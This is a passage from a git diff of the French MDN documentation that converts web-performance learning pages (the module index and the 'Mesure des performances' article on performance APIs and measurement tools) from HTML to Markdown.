href="/fr/docs/Web/HTML/Element/script">L'élément <code><script></code></a></li> - <li><a href="/fr/docs/Web/HTML/Attributes/rel">L'attribut <code>rel</code></a></li> -</ul> +- [Le « pourquoi » des performances web](/fr/docs/Learn/Performance/why_web_performance) +- [Qu'est-ce que sont les performances web ?](/fr/docs/Learn/Performance/What_is_web_performance) +- [Comment les visiteurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) +- [Mesurer les performances](/fr/docs/Learn/Performance/Measuring_performance) +- [Multimédia : images](/fr/docs/Learn/Performance/Multimedia) +- [Multimédia : vidéos](/fr/docs/Learn/Performance/video) +- [Bonnes pratiques de performances pour JavaScript](/fr/docs/Learn/Performance/JavaScript) +- [Fonctionnalités de HTML liées aux performances](/fr/docs/Learn/Performance/HTML) +- [Fonctionnalités de CSS liées aux performances](/fr/docs/Learn/Performance/CSS) +- [Performances et polices d'écriture](/fr/docs/Learn/Performance/Fonts) +- [Performances sur mobile](/fr/docs/Learn/Performance/Mobile) +- [Placer le focus sur les performances](/fr/docs/Learn/Performance/business_case_for_performance) + +## Voir aussi + +- [L'élément `<picture>`](/fr/docs/Web/HTML/Element/picture) +- [L'élément `<video>`](/fr/docs/Web/HTML/Element/video) +- [L'élément `<source>`](/fr/docs/Web/HTML/Element/Source) +- [L'élément et l'attribut `<img> srcset`](/fr/docs/Web/HTML/Element/Img#attributes) + + - [Images adaptatives](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) + +- [Préchargement du contenu avec `rel="preload"`](/fr/docs/orphaned/Web/HTML/Preloading_content) - [(https://w3c.github.io/preload/ - en anglais](https://w3c.github.io/preload/)) +- Attributs `async` / `defer` +- [L'élément `<iframe>`](/fr/docs/Web/HTML/Element/iframe) +- [L'élément `<object>`](/fr/docs/Web/HTML/Element/object) +- [L'élément `<script>`](/fr/docs/Web/HTML/Element/script) +- [L'attribut `rel`](/fr/docs/Web/HTML/Attributes/rel) diff --git a/files/fr/learn/performance/index.md b/files/fr/learn/performance/index.md index 56b6ccb0f0..a785a493d8 100644 --- a/files/fr/learn/performance/index.md +++ b/files/fr/learn/performance/index.md @@ -12,70 +12,64 @@ tags: - TopicStub translation_of: Learn/Performance --- -<p>{{LearnSidebar}}</p> - -<p>La création de sites Web nécessite HTML, CSS, et JavaScript. Pour créer des sites Web et des applications que les gens veulent utiliser, qui attirent et fidélisent les utilisateurs, vous devez créer une bonne expérience utilisateur. Une bonne expérience utilisateur consiste à s'assurer que le contenu est rapide à charger et réactif à l'interaction de l'utilisateur. Ceci est connu sous le nom de <strong>performance web</strong>, et dans ce module, vous vous concentrerez sur les principes fondamentaux de la création de sites Web performants.</p> - -<p>Le reste de notre matériel d'apprentissage pour débutants a essayé de s'en tenir autant que possible aux meilleures pratiques du Web telles que les performances et l'<a href="/fr/docs/Apprendre/a11y">accessibilité</a>,cependant, il est bon de se concentrer spécifiquement sur ces sujets et de s'assurer que vous les connaissez bien.</p> - -<h2 id="Parcours_dapprentissage">Parcours d'apprentissage</h2> - -<p>Bien que la connaissance de HTML, CSS et JavaScript soit nécessaire pour mettre en œuvre de nombreuses recommandations d'amélioration des performances Web, savoir comment créer des applications n'est pas une condition préalable nécessaire pour comprendre et mesurer les performances Web. Nous vous recommandons cependant, avant de commencer à utiliser ce module, d'avoir au moins une idée de base du développement Web en consultant notre module <a href="/fr/docs/Apprendre/Commencer_avec_le_web">Commencer avec le web</a>.</p> - -<p>Il serait également utile d'approfondir un peu ces sujets, avec des modules tels que:</p> - -<ul> - <li><a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction au HTML</a></li> - <li><a href="/fr/docs/Learn/CSS/First_steps">Premiers pas avec CSS</a></li> - <li><a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript</a></li> -</ul> - -<p>Une fois que vous aurez parcouru ce module, vous serez probablement ravi d'approfondir les performances Web — vous pouvez trouver de nombreux autres enseignement dans notre <a href="/fr/docs/Web/Performance">section principale de performance Web MDN</a>, y compris des aperçus des API de performance, des outils de test et d'analyse, et goulots d'étranglement des performances.</p> - -<h2 id="Guides">Guides</h2> - -<p>Cette rubrique contient les guides suivants. Voici un ordre suggéré pour les parcourir; vous devriez certainement commencer par le premier.</p> - -<dl> - <dt><a href="/fr/docs/Learn/Performance/pourquoi_performance_web">Le "pourquoi" des performances Web</a></dt> - <dd>Cet article explique pourquoi les performances Web sont importantes pour l'accessibilité, l'expérience utilisateur et vos objectifs commerciaux.</dd> - <dt><a href="/fr/docs/Learn/Performance/What_is_web_performance">Qu'est-ce que la performance Web ?</a></dt> - <dd>Vous savez que les performances Web sont importantes, mais en quoi consistent les performances Web ? Cet article présente les composants de la performance, du chargement et du rendu de la page Web, en passant par la manière dont votre contenu est intégré dans le navigateur de votre utilisateur pour être visualisé, aux groupes de personnes dont nous devons tenir compte lors de la réflexion sur les performances.</dd> - <dt><a href="/fr/docs/Learn/Performance/Perceived_performance">Comment les utilisateurs perçoivent-ils les performances ?</a></dt> - <dd>La vitesse à laquelle vos utilisateurs perçoivent votre site est plus importante que la vitesse de votre site Web en millisecondes. Ces perceptions sont affectées par le temps de chargement réel de la page, l'inactivité, la réactivité à l'interaction de l'utilisateur et la fluidité du défilement et d'autres animations. Dans cet article, nous discutons des différentes métriques de chargement, de l'animation et de la réactivité, ainsi que des meilleures pratiques pour améliorer la perception de l'utilisateur, sinon les timings réels.</dd> -</dl> - -<dl> - <dt><a href="/fr/docs/Learn/Performance/Measuring_performance">Mesurer les performances</a></dt> - <dd>Maintenant que vous comprenez quelques métriques de performance, nous nous penchons plus en profondeur sur les outils de performance, les métriques et les API et comment nous pouvons intégrer les performances dans le flux de travail de développement Web.</dd> - <dt><a href="/fr/docs/Learn/Performance/Multimedia">Multimédia: images</a></dt> - <dd>Le fruit le plus bas de la performance Web est souvent l'optimisation des médias. Il est possible de diffuser différents fichiers multimédias en fonction de la capacité, de la taille et de la densité de pixels de chaque agent utilisateur. Dans cet article, nous discutons de l'impact des images sur les performances et des méthodes pour réduire le nombre d'octets envoyés par image.</dd> - <dt><a href="/fr/docs/Learn/Performance/video">Multimédia: vidéo</a></dt> - <dd>Le fruit le plus bas de la performance Web est souvent l'optimisation des médias. Dans cet article, nous discutons de l'impact du contenu vidéo sur les performances, et des astuces telles que la suppression de pistes audio des vidéos d'arrière-plan peuvent améliorer les performances.</dd> - <dt><a href="/fr/docs/Learn/Performance/JavaScript">Meilleures pratiques en matière de performances JavaScript</a></dt> - <dd>JavaScript, lorsqu'il est utilisé correctement, peut permettre des expériences Web interactives et immersives - ou il peut considérablement nuire au temps de téléchargement, au temps de rendu, aux performances dans l'application, à l'autonomie de la batterie et à l'expérience utilisateur. Cet article décrit certaines bonnes pratiques JavaScript à prendre en compte pour garantir que même un contenu complexe est aussi performant que possible.</dd> - <dt><a href="/fr/docs/Learn/Performance/HTML">Fonctionnalités de performances HTML</a></dt> - <dd>Certains attributs et l'ordre source de votre balisage peuvent avoir un impact sur les performances de votre site Web. En minimisant le nombre de nœuds DOM, en vous assurant que le meilleur ordre et les meilleurs attributs sont utilisés pour inclure du contenu tel que des styles, des scripts, des médias et des scripts tiers, vous pouvez considérablement améliorer l'expérience utilisateur. Cet article examine en détail comment le HTML peut être utilisé pour garantir des performances optimales.</dd> - <dt><a href="/fr/docs/Learn/Performance/CSS">Optimisation des performances en CSS</a></dt> - <dd>Le CSS peut être un objectif d'optimisation moins important pour améliorer les performances, mais certaines fonctionnalités CSS ont un impact plus important sur les performances que d'autres. Dans cet article, nous examinons certaines propriétés CSS qui ont un impact sur les performances et suggérons des méthodes de gestion des styles pour garantir que les performances ne sont pas affectées négativement.</dd> - <dt><a href="/fr/docs/Learn/Performance/Fonts">Polices et performances</a></dt> - <dd>Examinez si vous devez inclure des polices externes et, le cas échéant, comment inclure les polices dont votre conception a besoin avec le moins d'impact sur les performances de vos sites.</dd> -</dl> - -<dl> - <dt><a href="/fr/docs/Learn/Performance/Mobile">Performances mobiles</a></dt> - <dd>L'accès Web sur les appareils mobiles étant si populaire et toutes les plates-formes mobiles ayant des navigateurs Web à part entière, mais éventuellement une bande passante, un processeur et une autonomie de batterie limités, il est important de prendre en compte les performances de votre contenu Web sur ces plates-formes. Cet article examine les considérations de performances spécifiques aux mobiles.</dd> - <dt><a href="/fr/docs/Learn/Performance/business_case_for_performance">Mettre l'accent sur la performance</a></dt> - <dd>Un développeur peut faire de nombreuses choses différentes pour améliorer les performances, mais à quelle vitesse est-il assez rapide? Comment pouvez-vous convaincre les pouvoirs de l'importance de ces efforts? Une fois optimisé, comment pouvez-vous vous assurer que le ballonnement ne revient pas? Dans cet article, nous examinons des directions convaincantes, développons une culture de performance et un budget de performance, et introduisons des moyens de garantir que les régressions ne se faufilent pas dans votre base de code.</dd> -</dl> - -<h2 id="Voir_aussi">Voir aussi</h2> - -<dl> - <dt><a href="/fr/docs/Learn/Performance/Web_Performance_Basics">Ressources de performance Web</a></dt> - <dd>Outre les composants frontaux des fichiers HTML, CSS, JavaScript et multimédia, il existe des fonctionnalités qui peuvent ralentir les applications et des fonctionnalités qui peuvent rendre les applications subjectivement et objectivement plus rapides. Il existe de nombreuses API, outils de développement, bonnes pratiques et mauvaises pratiques relatives aux performances Web. Ici, nous présenterons bon nombre de ces fonctionnalités au niveau de base et fournirons des liens vers des plongées plus approfondies pour améliorer les performances de chaque sujet.</dd> - <dt><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Images responsives</a></dt> - <dd>Dans cet article, nous découvrirons le concept d'images responsives - des images qui fonctionnent bien sur des appareils avec des tailles d'écran, des résolutions et d'autres fonctionnalités très différentes - et nous examinerons les outils fournis par HTML pour les implémenter. Cela permet d'améliorer les performances sur différents appareils. Les images responsives ne sont qu'une partie du <a href="/fr/docs/Apprendre/CSS/CSS_layout/Responsive_Design">responsive design</a>, un futur sujet CSS à apprendre.</dd> - <dt><a href="/fr/docs/Web/Performance">Section principale des performances Web sur MDN</a></dt> - <dd>Notre section principale sur les performances Web - vous trouverez ici beaucoup plus de détails sur les performances Web, y compris des aperçus des API de performance, des outils de test et d'analyse et des problèmes de goulots d'étranglement des performances.</dd> -</dl> +{{LearnSidebar}} + +La création de sites Web nécessite HTML, CSS, et JavaScript. Pour créer des sites Web et des applications que les gens veulent utiliser, qui attirent et fidélisent les utilisateurs, vous devez créer une bonne expérience utilisateur. Une bonne expérience utilisateur consiste à s'assurer que le contenu est rapide à charger et réactif à l'interaction de l'utilisateur. Ceci est connu sous le nom de **performance web**, et dans ce module, vous vous concentrerez sur les principes fondamentaux de la création de sites Web performants. + +Le reste de notre matériel d'apprentissage pour débutants a essayé de s'en tenir autant que possible aux meilleures pratiques du Web telles que les performances et l'[accessibilité](/fr/docs/Apprendre/a11y),cependant, il est bon de se concentrer spécifiquement sur ces sujets et de s'assurer que vous les connaissez bien. + +## Parcours d'apprentissage + +Bien que la connaissance de HTML, CSS et JavaScript soit nécessaire pour mettre en œuvre de nombreuses recommandations d'amélioration des performances Web, savoir comment créer des applications n'est pas une condition préalable nécessaire pour comprendre et mesurer les performances Web. Nous vous recommandons cependant, avant de commencer à utiliser ce module, d'avoir au moins une idée de base du développement Web en consultant notre module [Commencer avec le web](/fr/docs/Apprendre/Commencer_avec_le_web). + +Il serait également utile d'approfondir un peu ces sujets, avec des modules tels que: + +- [Introduction au HTML](/fr/docs/Apprendre/HTML/Introduction_à_HTML) +- [Premiers pas avec CSS](/fr/docs/Learn/CSS/First_steps) +- [Premiers pas en JavaScript](/fr/docs/Learn/JavaScript/First_steps) + +Une fois que vous aurez parcouru ce module, vous serez probablement ravi d'approfondir les performances Web — vous pouvez trouver de nombreux autres enseignement dans notre [section principale de performance Web MDN](/fr/docs/Web/Performance), y compris des aperçus des API de performance, des outils de test et d'analyse, et goulots d'étranglement des performances. + +## Guides + +Cette rubrique contient les guides suivants. Voici un ordre suggéré pour les parcourir; vous devriez certainement commencer par le premier. + +- [Le "pourquoi" des performances Web](/fr/docs/Learn/Performance/pourquoi_performance_web) + - : Cet article explique pourquoi les performances Web sont importantes pour l'accessibilité, l'expérience utilisateur et vos objectifs commerciaux. +- [Qu'est-ce que la performance Web ?](/fr/docs/Learn/Performance/What_is_web_performance) + - : Vous savez que les performances Web sont importantes, mais en quoi consistent les performances Web ? Cet article présente les composants de la performance, du chargement et du rendu de la page Web, en passant par la manière dont votre contenu est intégré dans le navigateur de votre utilisateur pour être visualisé, aux groupes de personnes dont nous devons tenir compte lors de la réflexion sur les performances. +- [Comment les utilisateurs perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) + - : La vitesse à laquelle vos utilisateurs perçoivent votre site est plus importante que la vitesse de votre site Web en millisecondes. Ces perceptions sont affectées par le temps de chargement réel de la page, l'inactivité, la réactivité à l'interaction de l'utilisateur et la fluidité du défilement et d'autres animations. Dans cet article, nous discutons des différentes métriques de chargement, de l'animation et de la réactivité, ainsi que des meilleures pratiques pour améliorer la perception de l'utilisateur, sinon les timings réels. + +<!----> + +- [Mesurer les performances](/fr/docs/Learn/Performance/Measuring_performance) + - : Maintenant que vous comprenez quelques métriques de performance, nous nous penchons plus en profondeur sur les outils de performance, les métriques et les API et comment nous pouvons intégrer les performances dans le flux de travail de développement Web. +- [Multimédia: images](/fr/docs/Learn/Performance/Multimedia) + - : Le fruit le plus bas de la performance Web est souvent l'optimisation des médias. Il est possible de diffuser différents fichiers multimédias en fonction de la capacité, de la taille et de la densité de pixels de chaque agent utilisateur. Dans cet article, nous discutons de l'impact des images sur les performances et des méthodes pour réduire le nombre d'octets envoyés par image. +- [Multimédia: vidéo](/fr/docs/Learn/Performance/video) + - : Le fruit le plus bas de la performance Web est souvent l'optimisation des médias. Dans cet article, nous discutons de l'impact du contenu vidéo sur les performances, et des astuces telles que la suppression de pistes audio des vidéos d'arrière-plan peuvent améliorer les performances. +- [Meilleures pratiques en matière de performances JavaScript](/fr/docs/Learn/Performance/JavaScript) + - : JavaScript, lorsqu'il est utilisé correctement, peut permettre des expériences Web interactives et immersives - ou il peut considérablement nuire au temps de téléchargement, au temps de rendu, aux performances dans l'application, à l'autonomie de la batterie et à l'expérience utilisateur. Cet article décrit certaines bonnes pratiques JavaScript à prendre en compte pour garantir que même un contenu complexe est aussi performant que possible. +- [Fonctionnalités de performances HTML](/fr/docs/Learn/Performance/HTML) + - : Certains attributs et l'ordre source de votre balisage peuvent avoir un impact sur les performances de votre site Web. En minimisant le nombre de nœuds DOM, en vous assurant que le meilleur ordre et les meilleurs attributs sont utilisés pour inclure du contenu tel que des styles, des scripts, des médias et des scripts tiers, vous pouvez considérablement améliorer l'expérience utilisateur. Cet article examine en détail comment le HTML peut être utilisé pour garantir des performances optimales. +- [Optimisation des performances en CSS](/fr/docs/Learn/Performance/CSS) + - : Le CSS peut être un objectif d'optimisation moins important pour améliorer les performances, mais certaines fonctionnalités CSS ont un impact plus important sur les performances que d'autres. Dans cet article, nous examinons certaines propriétés CSS qui ont un impact sur les performances et suggérons des méthodes de gestion des styles pour garantir que les performances ne sont pas affectées négativement. +- [Polices et performances](/fr/docs/Learn/Performance/Fonts) + - : Examinez si vous devez inclure des polices externes et, le cas échéant, comment inclure les polices dont votre conception a besoin avec le moins d'impact sur les performances de vos sites. + +<!----> + +- [Performances mobiles](/fr/docs/Learn/Performance/Mobile) + - : L'accès Web sur les appareils mobiles étant si populaire et toutes les plates-formes mobiles ayant des navigateurs Web à part entière, mais éventuellement une bande passante, un processeur et une autonomie de batterie limités, il est important de prendre en compte les performances de votre contenu Web sur ces plates-formes. Cet article examine les considérations de performances spécifiques aux mobiles. +- [Mettre l'accent sur la performance](/fr/docs/Learn/Performance/business_case_for_performance) + - : Un développeur peut faire de nombreuses choses différentes pour améliorer les performances, mais à quelle vitesse est-il assez rapide? Comment pouvez-vous convaincre les pouvoirs de l'importance de ces efforts? Une fois optimisé, comment pouvez-vous vous assurer que le ballonnement ne revient pas? Dans cet article, nous examinons des directions convaincantes, développons une culture de performance et un budget de performance, et introduisons des moyens de garantir que les régressions ne se faufilent pas dans votre base de code. + +## Voir aussi + +- [Ressources de performance Web](/fr/docs/Learn/Performance/Web_Performance_Basics) + - : Outre les composants frontaux des fichiers HTML, CSS, JavaScript et multimédia, il existe des fonctionnalités qui peuvent ralentir les applications et des fonctionnalités qui peuvent rendre les applications subjectivement et objectivement plus rapides. Il existe de nombreuses API, outils de développement, bonnes pratiques et mauvaises pratiques relatives aux performances Web. Ici, nous présenterons bon nombre de ces fonctionnalités au niveau de base et fournirons des liens vers des plongées plus approfondies pour améliorer les performances de chaque sujet. +- [Images responsives](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) + - : Dans cet article, nous découvrirons le concept d'images responsives - des images qui fonctionnent bien sur des appareils avec des tailles d'écran, des résolutions et d'autres fonctionnalités très différentes - et nous examinerons les outils fournis par HTML pour les implémenter. Cela permet d'améliorer les performances sur différents appareils. Les images responsives ne sont qu'une partie du [responsive design](/fr/docs/Apprendre/CSS/CSS_layout/Responsive_Design), un futur sujet CSS à apprendre. +- [Section principale des performances Web sur MDN](/fr/docs/Web/Performance) + - : Notre section principale sur les performances Web - vous trouverez ici beaucoup plus de détails sur les performances Web, y compris des aperçus des API de performance, des outils de test et d'analyse et des problèmes de goulots d'étranglement des performances. diff --git a/files/fr/learn/performance/measuring_performance/index.md b/files/fr/learn/performance/measuring_performance/index.md index 402e218d4c..e17b0761ce 100644 --- a/files/fr/learn/performance/measuring_performance/index.md +++ b/files/fr/learn/performance/measuring_performance/index.md @@ -1,101 +1,111 @@ --- title: Mesure des performances slug: Learn/Performance/Measuring_performance -translation_of: 'Learn/Performance/Measuring_performance' +translation_of: Learn/Performance/Measuring_performance --- -<div>{{LearnSidebar}} {{PreviousMenuNext("Learn/Performance/Perceived_performance", "Learn/Performance/Multimedia", "Learn/Performance")}}</div> +{{LearnSidebar}} {{PreviousMenuNext("Learn/Performance/Perceived_performance", "Learn/Performance/Multimedia", "Learn/Performance")}} -<p>La mesure des performance fournit un indicateur important pour vous aider à assurer le succès de votre application, site ou service web.</p> +La mesure des performance fournit un indicateur important pour vous aider à assurer le succès de votre application, site ou service web. -<p>Par exemple, vous pouvez utiliser les indicateurs de performances pour déterminer la manière dont votre application se charge par rapport à vos concurrents, ou par rapport à vos versions précédentes. Il est recommandé de choisir des indicateurs pertinents en fonction de vos utilisatrices et utilisateurs, du contexte de votre site et de vos objectifs commerciaux. Ces indicateurs doivent être collectés et mesurés de façon cohérente et analysés à partir d'un format qui peut être lu et compris par des parties prenantes non techniques.</p> +Par exemple, vous pouvez utiliser les indicateurs de performances pour déterminer la manière dont votre application se charge par rapport à vos concurrents, ou par rapport à vos versions précédentes. Il est recommandé de choisir des indicateurs pertinents en fonction de vos utilisatrices et utilisateurs, du contexte de votre site et de vos objectifs commerciaux. Ces indicateurs doivent être collectés et mesurés de façon cohérente et analysés à partir d'un format qui peut être lu et compris par des parties prenantes non techniques. -<p>Cet article présente les indicateurs de performances web que vous pouvez utiliser afin de mesurer et optimiser les performances de votre site.</p> +Cet article présente les indicateurs de performances web que vous pouvez utiliser afin de mesurer et optimiser les performances de votre site. <table class="standard-table"> <tbody> <tr> - <th scope="row">Pré-requis :</th> - <td>Bases de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base</a> installés et connaissances de base <a href="/fr/docs/Learn/Getting_started_with_the_web">des technologies web opérant côté client</a>.</td> + <th scope="row">Pré-requis :</th> + <td> + Bases de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base</a + > + installés et connaissances de base + <a href="/fr/docs/Learn/Getting_started_with_the_web" + >des technologies web opérant côté client</a + >. + </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> - <p>Proposer des informations sur les indicateurs de performance web que vous pouvez collecter avec les différentes API de performances web et présenter des outils qui permettent de visualiser ces données.</p> + <p> + Proposer des informations sur les indicateurs de performance web que + vous pouvez collecter avec les différentes API de performances web et + présenter des outils qui permettent de visualiser ces données. + </p> </td> </tr> </tbody> </table> -<h2 id="performance_APIs">Les API de mesure des performances</h2> +## Les API de mesure des performances -<p>Si vous êtes en capacité d'écrire du code pour le web, sachez qu'il existe un grand nombre <a href="/fr/docs/Web/API">d'API Web</a> destinées à créer vos propres outils de mesure de performances.</p> +Si vous êtes en capacité d'écrire du code pour le web, sachez qu'il existe un grand nombre [d'API Web](/fr/docs/Web/API) destinées à créer vos propres outils de mesure de performances. -<p>Vous pouvez utiliser <a href="/fr/docs/Web/API/Navigation_timing_API">l'API d'horodatage de navigation</a> pour mesurer les performances web côté client. Cela comprend le volume de temps nécessaire pour décharger la page précédente, le temps que prendra la résolution du nom de domaine, le total du temps passé à exécuter le chargement de la page, et bien plus encore. Vous pouvez utiliser les API pour créer des indicateurs de mesure de tous les évènements liés à la navigation affichés dans le diagramme présenté ci-dessous.</p> +Vous pouvez utiliser [l'API d'horodatage de navigation](/fr/docs/Web/API/Navigation_timing_API) pour mesurer les performances web côté client. Cela comprend le volume de temps nécessaire pour décharger la page précédente, le temps que prendra la résolution du nom de domaine, le total du temps passé à exécuter le chargement de la page, et bien plus encore. Vous pouvez utiliser les API pour créer des indicateurs de mesure de tous les évènements liés à la navigation affichés dans le diagramme présenté ci-dessous. -<p><img alt="Voici les différents gestionnaires que l'API d'horodatage de la navigation peut prendre en charge, incluant les gestionnaires suivants (en anglais) : Prompt for unload ; redirect ; unload ; App cache ; DNS ; TCP ; Request ; Response ; Processing ; onLoad ; navigationStart ; redirectStart ; redirectEnd ; fetchStart ; domainLookupEnd ; domainLookupStart ; connectStart (secureConnectionStart) ; connectEnd ; requestStart ; responseStart ; responseEnd ; unloadStart ; unloadEnd ; domLoading ; domInteractive ; domContentLoaded ; domComplete ; loadEventStart ; loadEventEnd." src="navigationtimingapi.jpg"></p> + -<p><a href="/fr/docs/Web/API/Performance_API/Using_the_Performance_API">L'API de performances</a> propose un accès aux informations liées aux performances, ce qui comprend <a href="/fr/docs/Web/API/Performance_Timeline">l'API de chronologie des performances</a>, <a href="/fr/docs/Web/API/Navigation_timing_API">l'API d'horodatage de la navigation</a>, <a href="/fr/docs/Web/API/User_Timing_API">l'API d'horodatage du visiteur</a> ainsi que <a href="/fr/docs/Web/API/Resource_Timing_API">l'API d'horodatage des ressources</a>. Ces interfaces permettent de mesurer précisément le temps que prennent les tâches JavaScript pour se dérouler.</p> +[L'API de performances](/fr/docs/Web/API/Performance_API/Using_the_Performance_API) propose un accès aux informations liées aux performances, ce qui comprend [l'API de chronologie des performances](/fr/docs/Web/API/Performance_Timeline), [l'API d'horodatage de la navigation](/fr/docs/Web/API/Navigation_timing_API), [l'API d'horodatage du visiteur](/fr/docs/Web/API/User_Timing_API) ainsi que [l'API d'horodatage des ressources](/fr/docs/Web/API/Resource_Timing_API). Ces interfaces permettent de mesurer précisément le temps que prennent les tâches JavaScript pour se dérouler. -<p>L'objet <a href="/fr/docs/Web/API/PerformanceEntry"><code>PerformanceEntry</code></a> fait partie de la <em>chronologie des performances</em>. Une entrée <em>performance</em> peut directement être créée en utilisant <em>{{domxref("PerformanceMark","PerformanceMark")}}</em> ou une <em>{{domxref("PerformanceMeasure","PerformanceMeasure")}}</em> (par exemple en appelant la méthode {{domxref("Performance.mark","mark()")}}) sur un point explicite de l'application. Les entrées de performances peuvent aussi être créées de façon indirecte, par exemple lors du chargement d'une ressource graphique.</p> +L'objet [`PerformanceEntry`](/fr/docs/Web/API/PerformanceEntry) fait partie de la _chronologie des performances_. Une entrée _performance_ peut directement être créée en utilisant _{{domxref("PerformanceMark","PerformanceMark")}}_ ou une _{{domxref("PerformanceMeasure","PerformanceMeasure")}}_ (par exemple en appelant la méthode {{domxref("Performance.mark","mark()")}}) sur un point explicite de l'application. Les entrées de performances peuvent aussi être créées de façon indirecte, par exemple lors du chargement d'une ressource graphique. -<p><a href="/fr/docs/Web/API/PerformanceObserver">L'API PerformanceObserver</a> peut être utilisée pour observer le déroulement d'évènements de mesure des performances et permet de vous notifier de nouvelles <a href="/fr/docs/Web/API/PerformanceEntry">entrées de performances</a> lorsqu'elles enregistrent la chronologie des performances dans le navigateur.</p> +[L'API PerformanceObserver](/fr/docs/Web/API/PerformanceObserver) peut être utilisée pour observer le déroulement d'évènements de mesure des performances et permet de vous notifier de nouvelles [entrées de performances](/fr/docs/Web/API/PerformanceEntry) lorsqu'elles enregistrent la chronologie des performances dans le navigateur. -<p>Si cet article n'a pas pour but de proposer une documentation complète de ces API, il est bon de savoir qu'elles existent. Vous pouvez vous référer à l'article concernant <a href="/fr/docs/Web/Performance/Navigation_and_resource_timings">l'horodatage de navigation</a> pour aller plus loin et découvrir plus d'exemples concernant les API liées à la mesure des performances.</p> +Si cet article n'a pas pour but de proposer une documentation complète de ces API, il est bon de savoir qu'elles existent. Vous pouvez vous référer à l'article concernant [l'horodatage de navigation](/fr/docs/Web/Performance/Navigation_and_resource_timings) pour aller plus loin et découvrir plus d'exemples concernant les API liées à la mesure des performances. -<h2 id="tools_and_metrics">Outils de mesure</h2> +## Outils de mesure -<p>Il y a beaucoup d'outils disponibles pour vous aider à améliorer les performances de vos sites. Ils sont généralement classés dans deux catégories :</p> +Il y a beaucoup d'outils disponibles pour vous aider à améliorer les performances de vos sites. Ils sont généralement classés dans deux catégories : -<ul> - <li>Les outils qui indiquent ou mesurent les performances, tels que <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a> ou le <a href="/fr/docs/Tools/Network_Monitor">moniteur réseau</a> et le <a href="/fr/docs/Tools/Performance">moniteur de performances</a> de Firefox. Ces outils vous montrent la vitesse de chargement de votre site ou de votre application. Ils vous indiquent également les points sur lesquels votre application web peut être améliorée.</li> - <li>Les outils qui corrigent le code de votre application web ou de votre site afin d'améliorer ses performances. Par exemple, certains outils de construction empaquettent le code réparti sur plusieurs fichiers en un seul fichier unique afin de réduire le nombre de requêtes HTTP. Il existe aussi des minificateurs qui suppriment tous les espaces de votre code pour réduire la taille des fichiers.</li> -</ul> +- Les outils qui indiquent ou mesurent les performances, tels que [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) ou le [moniteur réseau](/fr/docs/Tools/Network_Monitor) et le [moniteur de performances](/fr/docs/Tools/Performance) de Firefox. Ces outils vous montrent la vitesse de chargement de votre site ou de votre application. Ils vous indiquent également les points sur lesquels votre application web peut être améliorée. +- Les outils qui corrigent le code de votre application web ou de votre site afin d'améliorer ses performances. Par exemple, certains outils de construction empaquettent le code réparti sur plusieurs fichiers en un seul fichier unique afin de réduire le nombre de requêtes HTTP. Il existe aussi des minificateurs qui suppriment tous les espaces de votre code pour réduire la taille des fichiers. -<p>Sur cette page, ces deux catégories d'outils seront abordées. Par ailleurs, en parlant des mesures de performances, nous aborderons bien entendu les indicateurs que vous allez utiliser pour déterminer si les performances de votre site s'améliorent ou non.</p> +Sur cette page, ces deux catégories d'outils seront abordées. Par ailleurs, en parlant des mesures de performances, nous aborderons bien entendu les indicateurs que vous allez utiliser pour déterminer si les performances de votre site s'améliorent ou non. -<h3 id="general_performance_reporting_tools">Outils de rapport de performances génériques</h3> +### Outils de rapport de performances génériques -<p>Les outils tels que <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a> sont faits pour mesurer les performances des sites. Vous saisissez une URL, puis vous obtenez un rapport de performances en quelques secondes. Le rapport contient les scores obtenus par votre site, que ce soit sur mobile ou sur ordinateur de bureau. C'est un bon point de départ pour savoir d'où vous partez et pour connaître les points d'amélioration.</p> +Les outils tels que [PageSpeed Insights](https://developers.google.com/speed/pagespeed/insights/) sont faits pour mesurer les performances des sites. Vous saisissez une URL, puis vous obtenez un rapport de performances en quelques secondes. Le rapport contient les scores obtenus par votre site, que ce soit sur mobile ou sur ordinateur de bureau. C'est un bon point de départ pour savoir d'où vous partez et pour connaître les points d'amélioration. -<p>Au moment de l'écriture de cette page, voici à quoi ressemblait le rapport de performances du site MDN :</p> +Au moment de l'écriture de cette page, voici à quoi ressemblait le rapport de performances du site MDN : -<p><img alt="Une capture d'écran montrant le rapport PageSpeed Insights de la page d'accueil de Mozilla." src="pagespeed-insight-mozilla-homepage.png"></p> + -<p>Un rapport de performances contient des informations concernant le temps d'attente des visiteurs avant que quelque chose ne s'affiche, le nombre d'octets à télécharger pour afficher la page, et bien plus encore. Cela vous permet également de savoir si les mesures réalisées sont positives ou négatives.</p> +Un rapport de performances contient des informations concernant le temps d'attente des visiteurs avant que quelque chose ne s'affiche, le nombre d'octets à télécharger pour afficher la page, et bien plus encore. Cela vous permet également de savoir si les mesures réalisées sont positives ou négatives. -<p><a href="https://webpagetest.org">webpagetest.org</a> est un autre exemple d'outil capable de tester automatiquement votre site et d'afficher des indicateurs utiles.</p> +[webpagetest.org](https://webpagetest.org) est un autre exemple d'outil capable de tester automatiquement votre site et d'afficher des indicateurs utiles. -<p>Essayez vos sites favoris sur webpagetest.org et PageSpeed Insights, vous connaîtrez leurs scores de performances.</p> +Essayez vos sites favoris sur webpagetest.org et PageSpeed Insights, vous connaîtrez leurs scores de performances. -<h3 id="network_tools">Outils réseau</h3> +### Outils réseau -<p>La plupart des navigateurs ont des outils avec lesquels vous pouvez tester les pages web en cours de chargement pour déterminer leurs performances. Par exemple, le <a href="/fr/docs/Tools/Network_Monitor">moniteur réseau</a> de Firefox retourne des informations détaillées sur toutes les ressources téléchargées sur le réseau ainsi qu'un graphique montrant la durée de téléchargement de chaque ressource.</p> +La plupart des navigateurs ont des outils avec lesquels vous pouvez tester les pages web en cours de chargement pour déterminer leurs performances. Par exemple, le [moniteur 